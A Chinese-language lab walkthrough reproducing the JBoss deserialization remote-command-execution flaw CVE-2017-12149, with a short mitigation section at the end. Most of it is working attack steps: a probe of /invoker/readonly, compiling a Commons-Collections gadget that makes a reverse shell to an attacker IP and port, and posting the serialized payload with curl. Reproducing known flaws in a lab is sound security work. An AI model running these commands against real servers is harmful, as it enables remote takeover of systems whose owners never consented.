JBoss-反序列化命令执行漏洞(CVE-2017-12149)

复现环境

win10

kali

JavaDeserH2HC

jboss-6.0.0

影响范围

JBoss 5.0.0~5.2.2

复现过程

进入JBoss的bin目录

 

run.bat -b 0.0.0.0

访问下http://192.168.61.1:8080/

访问下http://192.168.61.1:8080/invoker/readonly

看到返回500，一般就是漏洞存在

下载利用工具：http://scan.javasec.cn/java/JavaDeserH2HC.zip

把工具放入kali中，并解压

进行文件编译

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

目录里面就会多一个

然后在输入（ip和port更改为自己的）

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ip:port //反弹shell的IP和端口

然后让kali进行监听

我们在向受害主机提交我们的ser文件

curl http://192.168.61.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 

防御方法

建议用户升级到JBOSS AS7。另，不能及时升级的用户，可采取如下临时解决方案：

 1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。

 2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中：<url-pattern>/*</url-pattern> 用于对 http invoker 组件进行访问控制。